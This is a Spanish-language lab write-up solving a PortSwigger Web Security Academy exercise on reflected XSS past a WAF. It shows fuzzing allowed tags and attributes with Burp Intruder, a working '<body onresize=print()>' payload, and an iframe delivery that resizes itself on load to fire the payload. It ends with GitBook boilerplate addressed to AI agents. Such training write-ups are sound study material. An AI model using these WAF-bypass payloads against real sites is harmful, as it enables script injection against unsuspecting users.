> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-in-html-with-blocked-tags.md).

# XSS reflejado en HTML con etiquetas bloqueadas

### XSS reflejado en contexto HTML con la mayoría de las etiquetas y atributos bloqueados

Este laboratorio contiene una vulnerabilidad de XSS reflejado en la función de búsqueda, pero un cortafuegos de aplicaciones (WAF) bloquea los vectores XSS más comunes. / Para resolver el laboratorio, debes eludir el WAF y activar el `print()` función.

* Probando cargas útiles clásicas como `<h1>test</h1>`, `<img` o `<script` la respuesta es: "La etiqueta no está permitida".

```html
<h1>test</h1>
<img
<script
...
```

<figure><img src="/files/3d80599d1db37379c95424c9666dc8d1f5585f1b" alt=""><figcaption></figcaption></figure>

* Intercepté la página con Burp Suite y lancé un envío de correos mediante Intruder.

<figure><img src="/files/39b03644e18f0139207195212868c0b755f175c7" alt=""><figcaption></figcaption></figure>

Copié los tipos de atributos de eventos (manejadores de eventos) y probé varios de ellos en la hoja de trucos de PortSwigger.

<figure><img src="/files/cb7eb5661f8bc259732e9aebd4a4018e9dd4dcd0" alt=""><figcaption></figcaption></figure>

* J

<figure><img src="/files/a934e3fa2ca54e90e6cf7f8146a284299b432cb0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/82765217ff9af24f7d7277b9bbf5ff00a0b5e186" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8ed47c615ca2db103c9f04132b0f098fe8f07b4a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0d46490192019cbb320eae7e671134f1f1cd3746" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/180e2e697e79a9a2eb0e0ec1951656ec741bb302" alt=""><figcaption></figcaption></figure>

```
<body test=1>
```

<figure><img src="/files/9c5a77d10fe2b6011ea5d6eb3da54d7d5a2725c9" alt=""><figcaption></figcaption></figure>

* He filtrado/probado varios atributos de eventos y me he centrado en `onresize`.

```javascript
<body onresize=alert(0)>
```

Carga útil probada y que funcionó:

* Inyección directa: `<body onresize=alert(0)>` — al redimensionar (rueda de zoom) aparece la alerta.

<figure><img src="/files/636da2eb84f72de1db37903f876444692652f888" alt=""><figcaption></figcaption></figure>

Objetivo final: llamar `print()` en lugar de `alert()`:

```javascript
<body onresize=print()>
```

<figure><img src="/files/ca2aca06dd5d8054b2b34869d89fc86cb6101085" alt=""><figcaption></figcaption></figure>

URL de exploit enviada a la víctima:

```javascript
https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=
```

Entrega mediante iframe y activación automática:

* Para forzar el `onresize` evento a cargarse en el frame, el ancho del frame se cambia desde su `onload` atributo:

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>"</iframe>
```

{% endcode %}

<figure><img src="/files/8d47e3df6e9673e8c33ea9863c23f96173f1e7d4" alt=""><figcaption></figcaption></figure>

y versión con ajuste de ancho al cargar:

{% code overflow="wrap" %}

```javascript
<iframe id="myframe" src="https://0a8500230379f8e980d8032300850075.web-security-academy.net/?search=<body+onresize%3Dprint()>" onload=this.style.width='100px'></iframe>
```

{% endcode %}

<figure><img src="/files/f060d7049cd9cfd7efff7b1c8aefbea4588c0576" alt=""><figcaption></figcaption></figure>

Resumen: elusión del WAF mediante la inyección de un atributo de evento autorizado (`onresize`) que llama a `print()`, luego entrega mediante iframe con `onload` que cambia el tamaño para activar `onresize`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-in-html-with-blocked-tags.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
